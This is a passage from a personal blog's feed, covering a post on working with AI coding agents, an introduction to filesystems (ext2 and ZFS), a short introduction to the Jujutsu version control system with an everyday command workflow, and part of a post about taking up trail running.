&lt;p&gt;First of all, before doing anything, I create a git/&lt;a href=&#34;../jj&#34;&gt;jj&lt;/a&gt; repo, and after every step, I commit &lt;strong&gt;and push&lt;/strong&gt;. Agents can also use git, but with a simple move they can destroy the entire repository, and if they also have push rights, a small mistake can lead to everything being lost.&lt;/p&gt;
&lt;p&gt;Most tools allow you to configure separate programming and planning agents (and usually they are there by default, and you can create others as well), these agents can even use different models - e.g. in the Claude Max subscription, the planning agent uses the Opus model, while the programming agent uses Sonnet-4, supposedly this is the most efficient way to work.&lt;/p&gt;
&lt;p&gt;I usually start in &lt;em&gt;plan&lt;/em&gt; mode, and try to formulate the request as if I were explaining a ticket at work, so that any colleague could start working on it without any questions. I ask the agent to create a detailed plan of how it would solve the problem. If I deem it necessary, I further refine (or have it refined) the plan, and only start the implementation phase when I myself understand what it will do.&lt;/p&gt;
&lt;p&gt;I do not trust it enough yet (?) to accept what it does without review, so I review everything it does after each major step, ask for modifications where needed, run tests with it, and only move on when everything is fine.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./ccusage.jpg&#34; alt=&#34;ccusage&#34;&gt;

&lt;/p&gt;
&lt;h2 id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;
&lt;p&gt;I was skeptical when I started the experiment, but I was positively surprised.&lt;/p&gt;
&lt;p&gt;LLM-based AIs will not become AGI, and they may soon reach the limits of the technology, but their current capabilities are good enough to make programmers more efficient and help them progress faster in their work. Part of coding (e.g. boilerplate code, simpler functions) can be completely automated, and developers can focus more on planning and solving more complex problems, in which a &lt;em&gt;smarter&lt;/em&gt; agent can also provide assistance.&lt;/p&gt;
&lt;p&gt;Will they take away programmers&amp;rsquo; jobs? I don&amp;rsquo;t think so, because software development is a complex task where coding is only part of the work. Supervision is needed alongside them, and we do not yet know their &lt;em&gt;real&lt;/em&gt; costs, we are probably only in the &lt;em&gt;investment&lt;/em&gt; phase, and every AI company is unprofitable.&lt;/p&gt;
&lt;p&gt;Can they replace a junior programmer? In the given moment, yes, but as long as a junior has the potential to become senior, an AI agent will never be smarter than what it is trained to be, and it will not be able to develop or gain experience.&lt;/p&gt;
&lt;p&gt;Can they replace a programmer who implements the issued tickets almost without thinking (and without asking questions)? Yes, but I don&amp;rsquo;t think they add much value anyway. Then of course they will also find (or have already found) their place, and they will eagerly copy the ticket text into the ChatGPT browser window and copy back the generated code without having any idea what they are writing. Unfortunately, I see this happening daily.&lt;/p&gt;
&lt;p&gt;One thing is certain, LLMs can be great tools in the hands of software developers, and even if they do not develop further in this direction, they will remain. What I expect are smaller, more specialized models that we can even run locally (on our own computer, even on our phone). I am curious where we will be a year from now.&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Short introduction to filesystems</title>
      <link>https://horak.hu/posts/fs/</link>
      <pubDate>Mon, 21 Oct 2024 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/fs/</guid>
      <description>&lt;p&gt;In an operating system, the filesystems are responsible for organizing and storing files and directories. They provide a way to access and manage the data stored on the storage devices. Such storage devices can be hard drives, SSDs, USB drives, magnetic tapes, optical discs, RAM disks, etc. They can be shared over the network and they can be even virtual (like &lt;code&gt;procfs&lt;/code&gt; or &lt;code&gt;sysfs&lt;/code&gt;).&lt;/p&gt;</description>
      <content>&lt;p&gt;In an operating system, the filesystems are responsible for organizing and storing files and directories. They provide a way to access and manage the data stored on the storage devices. Such storage devices can be hard drives, SSDs, USB drives, magnetic tapes, optical discs, RAM disks, etc. They can be shared over the network and they can be even virtual (like &lt;code&gt;procfs&lt;/code&gt; or &lt;code&gt;sysfs&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id=&#34;etymology&#34;&gt;Etymology&lt;/h2&gt;
&lt;p&gt;Before the age of computers, &lt;em&gt;filing systems&lt;/em&gt; were used to store and organize paper documents. The concept of filesystems in computing is similar to the concept of filing systems in the real world. The words &lt;em&gt;folder&lt;/em&gt; and &lt;em&gt;directory&lt;/em&gt; came from there, too.&lt;/p&gt;
&lt;h2 id=&#34;fs-related-terms&#34;&gt;FS related terms&lt;/h2&gt;
&lt;h3 id=&#34;filename&#34;&gt;Filename&lt;/h3&gt;
&lt;p&gt;A &lt;em&gt;filename&lt;/em&gt; identifies a file. It is a string of characters for us, humans to refer the given file more easily. It might contain letters, numbers, and special characters, have a maximum length, is case-sensitive or not, etc.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;File extension&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In some filesystems, the filename can have an extension. This is a string of characters after the last dot in the filename. It can be used to identify the file type, but it is not mandatory, and it can also be misleading. &lt;strong&gt;Do not rely on the file extension to determine the file type!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In Unix-like systems, you can use the &lt;code&gt;file&lt;/code&gt; command to determine the file type based on the file content.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;directory&#34;&gt;Directory&lt;/h3&gt;
&lt;p&gt;File systems typically (but not necessarily) organize files into &lt;em&gt;directories&lt;/em&gt;. A directory is a special type of file that contains a list of other files and directories. It is also called a &lt;em&gt;folder&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id=&#34;file-metadata&#34;&gt;File metadata&lt;/h3&gt;
&lt;p&gt;File systems store additional information about files, called &lt;em&gt;metadata&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;file size&lt;/strong&gt;: the size of the file in bytes or in blocks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;when&lt;/strong&gt; the file was created, last accessed, and last modified&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ownership&lt;/strong&gt; information: the user and group&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;permissions&lt;/strong&gt;: who can read, write, and execute the file&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;file attributes&lt;/strong&gt;: special flags like &lt;em&gt;executable&lt;/em&gt;, &lt;em&gt;read-only&lt;/em&gt;, &lt;em&gt;hidden&lt;/em&gt;, &lt;em&gt;system&lt;/em&gt;, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;device type&lt;/strong&gt;: in Unix-like systems, everything is a file, including devices. The file system stores information about the device type (block device, character device, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Metadata is stored separately from the file content, for example in directory entries or in inodes.&lt;/p&gt;
&lt;h3 id=&#34;storage-space-organization&#34;&gt;Storage space organization&lt;/h3&gt;
&lt;p&gt;A local filesystem is typically organized into &lt;em&gt;blocks&lt;/em&gt;, and a block is the smallest unit of storage that can be allocated. The file system allocates blocks to store the file content, so even if you strore only 1 byte in a file, the file system will allocate at least one block (or more) to store it.&lt;/p&gt;
&lt;p&gt;Block size can vary between filesystems, but it is usually a power of 2, like 512 bytes, 1 KB, 4 KB, 8 KB, &amp;hellip; and some filesystems allow you to specify the block size when creating them. Choosing a large block size can result in less fragmentation and better performance, but it can also waste space for small files, while a small block size can result in more fragmentation and less performance, but it can be more efficient for small files.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Fragmentation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a file is stored in non-contiguous blocks, it is fragmented. This can happen when the filesystem cannot find a contiguous block to store the file, so it splits the file into multiple blocks. Fragmentation can slow down the file access time - for example for classic HDDs, the disk head has to move to different locations to read the file. SSDs are less affected by fragmentation, but it can still have an impact on performance.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;access-control&#34;&gt;Access control&lt;/h3&gt;
&lt;p&gt;Many filesystems support &lt;em&gt;access control&lt;/em&gt; to restrict access to files and directories. There are many ways to control access, from the classical &lt;em&gt;read-only&lt;/em&gt; flag, through &lt;em&gt;permission bits&lt;/em&gt; (like in Unix-like systems), to more advanced &lt;em&gt;ACLs&lt;/em&gt; (Access Control Lists) and &lt;em&gt;capabilities&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id=&#34;quotas&#34;&gt;Quotas&lt;/h3&gt;
&lt;p&gt;Filesystems can also support &lt;em&gt;quotas&lt;/em&gt; to limit the amount of space a user or a group can use. This can be useful in multi-user systems to prevent a single user from filling up the disk.&lt;/p&gt;
&lt;h3 id=&#34;data-integrity&#34;&gt;Data integrity&lt;/h3&gt;
&lt;p&gt;Most filesystems provide some kind of &lt;em&gt;data integrity&lt;/em&gt; mechanism to ensure that the data stored on the disk is not corrupted. This can be done by using checksums, journaling, copy-on-write, etc.&lt;/p&gt;
&lt;h2 id=&#34;filesystem-types&#34;&gt;Filesystem types&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Disk-based filesystems&lt;/strong&gt;: store data on hard drives, SSDs, USB drives, etc. (like ext4, NTFS, FAT32)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network filesystems&lt;/strong&gt;: allow accessing files over the network (like NFS, SMB)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Optical disk filesystems&lt;/strong&gt;: used on CDs, DVDs, Blu-rays, etc. (like ISO 9660, UDF)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flash filesystems&lt;/strong&gt;: used on flash memory devices (like JFFS2, UBIFS)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tape filesystems&lt;/strong&gt;: used on magnetic tapes (like LTFS)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database filesystems&lt;/strong&gt;: store data in a database-like format (DB2)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual filesystems&lt;/strong&gt;: provide an interface to kernel data structures (like procfs, sysfs, devfs)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;example-1-ext2ext3ext4&#34;&gt;Example 1: ext2/ext3/ext4&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;ext&lt;/em&gt; filesystem family is one of the most popular filesystems in the Linux world. The first &lt;em&gt;ext&lt;/em&gt; filesystem was &lt;em&gt;ext&lt;/em&gt; (short for &lt;em&gt;extended filesystem&lt;/em&gt;, since it was an extension of the original &lt;em&gt;minix&lt;/em&gt; filesystem), developed in 1992, but it was quickly replaced by &lt;em&gt;ext2&lt;/em&gt; in 1993. And &lt;em&gt;ext2&lt;/em&gt; is basically still useable since &lt;em&gt;ext3&lt;/em&gt; and &lt;em&gt;ext4&lt;/em&gt; are backward compatible with it.&lt;/p&gt;
&lt;p&gt;The main addition of &lt;em&gt;ext3&lt;/em&gt; over &lt;em&gt;ext2&lt;/em&gt; was journaling, which helps to recover the filesystem after a crash. &lt;em&gt;ext4&lt;/em&gt; added many new features like extents, delayed allocation, and faster fsck, but those are basically transparent to the user, mostly performance and reliability improvements. The basics of the &lt;em&gt;ext*&lt;/em&gt; filesystem family are the same for more than 30 years.&lt;/p&gt;
&lt;h3 id=&#34;ext2-structure&#34;&gt;Ext2 structure&lt;/h3&gt;
&lt;p&gt;Data is stored in &lt;em&gt;blocks&lt;/em&gt; (usually 4 KB) and the filesystem is divided into &lt;em&gt;block groups&lt;/em&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;┌──────┬─────────┬─────────┬───...─┬─────────┐
│Boot  │ Block   │ Block   │       │ Block   │
│block │ group 0 │ group 1 │       │ group n │
└──────┴─────────┴─────────┴──...──┴─────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Each block group contains:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a &lt;em&gt;superblock&lt;/em&gt;: metadata about the filesystem&lt;/li&gt;
&lt;li&gt;a &lt;em&gt;block group descriptor table&lt;/em&gt;: metadata about the block group&lt;/li&gt;
&lt;li&gt;a &lt;em&gt;block bitmap&lt;/em&gt;: to track free and used blocks&lt;/li&gt;
&lt;li&gt;an &lt;em&gt;inode bitmap&lt;/em&gt;: to track free and used inodes&lt;/li&gt;
&lt;li&gt;an &lt;em&gt;inode table&lt;/em&gt;: to store metadata about files and directories&lt;/li&gt;
&lt;li&gt;data blocks: to store file content&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;┌───────┬─────────────┬────────┬────────┬───────┐
│Super- │ Group       │ Block  │ Inode  │ Inode │
│ block │ descriptors │ bitmap │ bitmap │ table │
└───────┴─────────────┴────────┴────────┴───────┘
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Inodes store metadata about files and directories, like file size, timestamps, ownership, permissions, etc.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Inodes are numbered, and each inode has a unique number within the filesystem. The inode number is used to reference the inode from the directory entry. There are 15 direct block pointers in the inode, which can point to data blocks. If the file is larger than 12 blocks, the (13.) indirect block pointer is used to point to a block that contains pointers to data blocks. If the file is larger than 12 + 256 blocks, the (14.) double indirect block pointer is used, and if it&amp;rsquo;s even larger, the (15.) triple indirect block is used, too.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Directories are special files that contain a list of directory entries. Each directory entry contains the filename and the inode number of the file or directory.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Hard links&lt;/em&gt; are created by adding multiple directory entries pointing to the same inode. (While &lt;em&gt;soft links&lt;/em&gt; are created by adding a special file that contains only the path to the target file.)&lt;/p&gt;
&lt;p&gt;Removing (&lt;code&gt;rm&lt;/code&gt;) a file only removes the directory entry, but the file content is not removed until the last directory entry is removed. When no directory entry points to an inode, the inode is marked as free and can be reused. The system call for removing a directory entry is &lt;code&gt;unlink()&lt;/code&gt; - since it&amp;rsquo;s basically the opposite of creating a link.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;example-2-zfs&#34;&gt;Example 2: ZFS&lt;/h2&gt;
&lt;p&gt;(I could have BTRFS here, but ZFS is much older, and has more features.)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;ZFS&lt;/em&gt; (short for &lt;em&gt;Zettabyte File System&lt;/em&gt;) is a modern filesystem developed by Sun Microsystems in 2005. It is designed to be robust, scalable, and easy to manage. ZFS has many advanced features like copy-on-write, snapshots, checksums, compression, deduplication, RAID-Z, etc. Then Oracle bought Sun and not much happened with it in the last ~15 years. It&amp;rsquo;s still a great filesystem, but it&amp;rsquo;s not as popular as it could be - due to the licensing issues, the CDDL license is not compatible with GPL, so it cannot be (properly) included in a Linux distribution.&lt;/p&gt;
&lt;h3 id=&#34;zfs-features&#34;&gt;ZFS features&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Copy-on-write&lt;/strong&gt;: When a block is modified, it is not overwritten in place, but a new block is written with the modified data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checksums&lt;/strong&gt;: ZFS uses checksums to detect data corruption.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Self-healing&lt;/strong&gt;: ZFS can detect and repair data corruption using checksums and redundant data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Snapshots&lt;/strong&gt;: ZFS can create read-only snapshots of the filesystem at any point in time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compression&lt;/strong&gt;: ZFS can compress data on the fly to save space.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deduplication&lt;/strong&gt;: ZFS can deduplicate identical blocks to save space.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ZPools&lt;/strong&gt;: ZFS uses &lt;em&gt;zpools&lt;/em&gt; to manage storage devices. A zpool can consist of one or more storage devices, like hard drives, SSDs, or even files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RAID&lt;/strong&gt;: ZFS has built-in support for software RAID with different levels of redundancy (mirroring, RAID-5 like RAID-Z).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encryption&lt;/strong&gt;: ZFS supports encryption of data at filesystem level.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SLOG and L2ARC&lt;/strong&gt;: ZFS has special devices for ZIL (ZFS Intent Log) and L2ARC (Level 2 Adaptive Replacement Cache) to improve performance. (Hybrid storage pools)&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Jujutsu VCS - short introduction</title>
      <link>https://horak.hu/posts/jj/</link>
      <pubDate>Tue, 16 Apr 2024 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/jj/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/martinvonz/jj&#34;&gt;Jujutsu&lt;/a&gt; (&lt;code&gt;jj&lt;/code&gt;) is a &lt;abbr title=&#34;Version Control System&#34;&gt;VCS&lt;/abbr&gt; unlike most other, its user interface is separated from it storage system(s). This allows it to serve as a VCS with many possible physical backends, that may have different data/networking models.&lt;/p&gt;
&lt;p&gt;Currently it uses &lt;code&gt;git&lt;/code&gt; by default as storage layer, making it compatible with all the existing git ecosystem.&lt;/p&gt;
&lt;p&gt;Martin started it as a hobby project in 2019, and now it&amp;rsquo;s his full-time project at Google.&lt;/p&gt;</description>
      <content>&lt;p&gt;&lt;a href=&#34;https://github.com/martinvonz/jj&#34;&gt;Jujutsu&lt;/a&gt; (&lt;code&gt;jj&lt;/code&gt;) is a &lt;abbr title=&#34;Version Control System&#34;&gt;VCS&lt;/abbr&gt; unlike most other, its user interface is separated from it storage system(s). This allows it to serve as a VCS with many possible physical backends, that may have different data/networking models.&lt;/p&gt;
&lt;p&gt;Currently it uses &lt;code&gt;git&lt;/code&gt; by default as storage layer, making it compatible with all the existing git ecosystem.&lt;/p&gt;
&lt;p&gt;Martin started it as a hobby project in 2019, and now it&amp;rsquo;s his full-time project at Google.&lt;/p&gt;
&lt;h2 id=&#34;design&#34;&gt;Design&lt;/h2&gt;
&lt;p&gt;Jujutsu combine concepts from other VCS-es into a single tool. For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Git&lt;/strong&gt;: fast/efficient algorithms, data structures&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mercurial&lt;/strong&gt; and &lt;strong&gt;Sapling&lt;/strong&gt;: the &lt;code&gt;revset&lt;/code&gt; language, no index or staging area, anonymous branches, output formatting with a robust template language&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Darcs&lt;/strong&gt;: conflicts are &lt;em&gt;first-class objects&lt;/em&gt;, can be commited and resolved later or by somebody else&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But it also has some new features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Working-copy-as-a-commit&lt;/strong&gt;: changes to files are automatically recorded as commits and amended on every subsequent change (simplifies algorithms, make index/stanging-area obsolete)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Operation log, undo&lt;/strong&gt;: every operation is logged into the repository itself, so debugging &amp;ldquo;what has happened here?&amp;rdquo; like problems is pretty easy. Also there&amp;rsquo;s an &lt;code&gt;undo&lt;/code&gt; command that utilizes this oplog.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatic rebase and conflict resolution&lt;/strong&gt;: when you modify (an older) commit, every descendant is automatically rebased on top of the new version - without branching and whatever. If there&amp;rsquo;s a conflict anywhere in the branch, you can resolve it any time, due to this propagation, the resolution will be available for the descendants as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-jj-command&#34;&gt;The &lt;code&gt;jj&lt;/code&gt; command&lt;/h2&gt;
&lt;p&gt;The command-line tool is called &lt;code&gt;jj&lt;/code&gt; (for now, it might be changed later) because it&amp;rsquo;s easy to type, and since the letter &amp;ldquo;j&amp;rdquo; is rare in English, it&amp;rsquo;s easy to search for. (The project is called Jujutsu because it matches &lt;code&gt;jj&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;The goal was to create a user friendly interface to the VCS - this definitely wasn&amp;rsquo;t the goal for &lt;code&gt;git&lt;/code&gt;, most developers use external tools or IDE plugins to use it. Since you can use &lt;code&gt;jj&lt;/code&gt; to manage existing &lt;code&gt;git&lt;/code&gt; repos, it can be used as one of those tools - but it&amp;rsquo;s already much more than just a git frontend. I&amp;rsquo;m using it almost exclusively for my daily work (on existing &lt;code&gt;git&lt;/code&gt; repos) for about 3 months, and I didn&amp;rsquo;t have to use the &lt;code&gt;git&lt;/code&gt; command on the given repos in the meantime.&lt;/p&gt;
&lt;p&gt;Git doesn&amp;rsquo;t became &amp;ldquo;popular&amp;rdquo; because it&amp;rsquo;s &lt;em&gt;good&lt;/em&gt; or &lt;em&gt;user friendly&lt;/em&gt;, it became popular due to GitHub. Now that we can use GitHub with &lt;code&gt;jj&lt;/code&gt;, we might get rid of &lt;code&gt;git&lt;/code&gt; ;)&lt;/p&gt;
&lt;h3 id=&#34;basic-workflow-that-i-use&#34;&gt;Basic workflow (that I use)&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# create a new &amp;#39;change&amp;#39; (basically ticket=change)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ jj new &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;parent&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ jj describe -m &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;TICK-90: whatever new feature&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# or `jj new -m &amp;#34;...&amp;#34;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# since I need to push to GitHub, I need named branches&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ jj branch create TICK-90_whatever
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# and I might need to update my change with the changes from upstream&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ jj git fetch --branch develop
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ jj rebase -d develop
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# and push it back to github&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ jj git push &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;branch&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;nice-log&#34;&gt;Nice log&lt;/h3&gt;
&lt;p&gt;
  &lt;img src=&#34;./jj-log.jpg&#34; alt=&#34;jj log&#34;&gt;

&lt;/p&gt;
&lt;h3 id=&#34;-and-much-more-&#34;&gt;&amp;hellip; and much more &amp;hellip;&lt;/h3&gt;
&lt;p&gt;If you are interested, you can check the following resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/martinvonz/jj&#34;&gt;Jujutsu github repo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://v5.chriskrycho.com/essays/jj-init/&#34;&gt;jj init&lt;/a&gt; by Chris Krycho
&lt;ul&gt;
&lt;li&gt;(long, but he made a &lt;a href=&#34;https://www.youtube.com/watch?v=2otjrTzRfVk&#34;&gt;video&lt;/a&gt; as well)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://steveklabnik.github.io/jujutsu-tutorial/&#34;&gt;Jujutsu Tutorial&lt;/a&gt; by Steve Klabnik&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>About running</title>
      <link>https://horak.hu/posts/running/</link>
      <pubDate>Thu, 11 Jan 2024 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/running/</guid>
      <description>&lt;p&gt;I hated running all my life. Then &lt;a href=&#34;https://horak.hu/2018/&#34;&gt;fate intervened&lt;/a&gt;, and since I didn&amp;rsquo;t have much opportunity for other forms of exercise, I started running in the forest during chemo - got that biweekly - first week was about survival, on the &lt;em&gt;resting&lt;/em&gt; weeks I ran two-three times, 3-4kms. Then the habbit stayed - I loved the forest before, and I thought that if I could go out during chemo, then rain/mud/cold wouldn&amp;rsquo;t be able to hold me back. And indeed it can&amp;rsquo;t. The next year I kept the same pace - two small circles a week -, but then covid hit, we went home office, and I started increasing the distances and pace.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s interesting to look back and see that in the beginning I ran my 3-4 km tracks at the same pace as the 50+ km Vérmókus I ran recently.&lt;/p&gt;</description>
      <content>&lt;p&gt;I hated running all my life. Then &lt;a href=&#34;https://horak.hu/2018/&#34;&gt;fate intervened&lt;/a&gt;, and since I didn&amp;rsquo;t have much opportunity for other forms of exercise, I started running in the forest during chemo - got that biweekly - first week was about survival, on the &lt;em&gt;resting&lt;/em&gt; weeks I ran two-three times, 3-4kms. Then the habbit stayed - I loved the forest before, and I thought that if I could go out during chemo, then rain/mud/cold wouldn&amp;rsquo;t be able to hold me back. And indeed it can&amp;rsquo;t. The next year I kept the same pace - two small circles a week -, but then covid hit, we went home office, and I started increasing the distances and pace.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s interesting to look back and see that in the beginning I ran my 3-4 km tracks at the same pace as the 50+ km Vérmókus I ran recently.&lt;/p&gt;
&lt;h2 id=&#34;running&#34;&gt;Running&lt;/h2&gt;
&lt;p&gt;I run mostly in the forest (&lt;em&gt;trail running&lt;/em&gt;), and what I write here is mostly my own experience, if a coach says something else, then they&amp;rsquo;re probably right 😉&lt;/p&gt;
&lt;h3 id=&#34;what-do-you-need-to-start&#34;&gt;What do you need to start&lt;/h3&gt;
&lt;h4 id=&#34;you&#34;&gt;You&lt;/h4&gt;
&lt;p&gt;Even if your joints/muscles are in a good shape - if something is already broken, running can make it even worse - youd better start carefully.&lt;/p&gt;
&lt;p&gt;At the beginning you&amp;rsquo;ll probably concentrate on survival - start with walking/slow jogging if you&amp;rsquo;ve never done any sports -, but as you progress, you&amp;rsquo;ll have to start paying attention to your breathing, running technique - practice different ones, so you can switch if your legs get tired -, and your body in general.&lt;/p&gt;
&lt;h4 id=&#34;a-pair-of-shoes&#34;&gt;A pair of shoes&lt;/h4&gt;
&lt;p&gt;This is something you should pay attention to from the beginning, there can be a huge difference between two pairs of shoes called running shoes. When buying your first pair, it&amp;rsquo;s worth going to a running store, where they can give you advice, and measure your pronation.&lt;/p&gt;
&lt;p&gt;Things to consider:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;terrain / asphalt?&lt;/li&gt;
&lt;li&gt;foot pronation? (pronator/normal/supinator)
&lt;ul&gt;
&lt;li&gt;this can be measured in running stores with a camera, it&amp;rsquo;s worth it!&lt;/li&gt;
&lt;li&gt;(I have a strong flat foot, so my foot pronates &lt;strong&gt;a lot&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;how waterproof/breathable they are?&lt;/li&gt;
&lt;li&gt;what&amp;rsquo;s the shape of your foot (e.g. Asics are perfect for my feet, but I can&amp;rsquo;t even put on Salomon shoes, it&amp;rsquo;s worth trying on several products of different brands)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
  &lt;img src=&#34;./cipok.jpg&#34; alt=&#34;shoes&#34;&gt;

&lt;/p&gt;
&lt;p&gt;At the beginning, I suggest to get a pair of asphalt shoes that are comfortable (and made for you pronation).&lt;/p&gt;
&lt;h3 id=&#34;extras&#34;&gt;Extras&lt;/h3&gt;
&lt;h4 id=&#34;clothes&#34;&gt;Clothes&lt;/h4&gt;
&lt;p&gt;I don&amp;rsquo;t mean that clothing is an &lt;em&gt;extra&lt;/em&gt;, because you can run naked &lt;em&gt;(you definitely can, but please don&amp;rsquo;t)&lt;/em&gt;, but because almost anything is good enough.&lt;/p&gt;
&lt;p&gt;However, besides &amp;ldquo;anything is good&amp;rdquo;, it&amp;rsquo;s better to run in something that you don&amp;rsquo;t sweat into too much, breathes well, and you don&amp;rsquo;t get cold in. You can spend an infinite amount of money on sportswear, but - especially at the beginning - the store brands of sports stores can be quite good, and much cheaper than the similar stuff of the top brands. You will be able to tell - over time - what you should wear in the given weather, but it&amp;rsquo;s a good start to dress for ~10 degrees warmer weather.&lt;/p&gt;
&lt;h4 id=&#34;flask&#34;&gt;Flask&lt;/h4&gt;
&lt;p&gt;On longer distances, especially in the summer, it&amp;rsquo;s essential to drink while running. It&amp;rsquo;s worth getting a well-storable (foldable or crushable/silicone) cup, from which you can drink more easily than hanging on the fountain, pressing the lever with your leg, etc. Nowadays most running events don&amp;rsquo;t provide cups at the refreshment points, you can get drinks in your own cup.&lt;/p&gt;
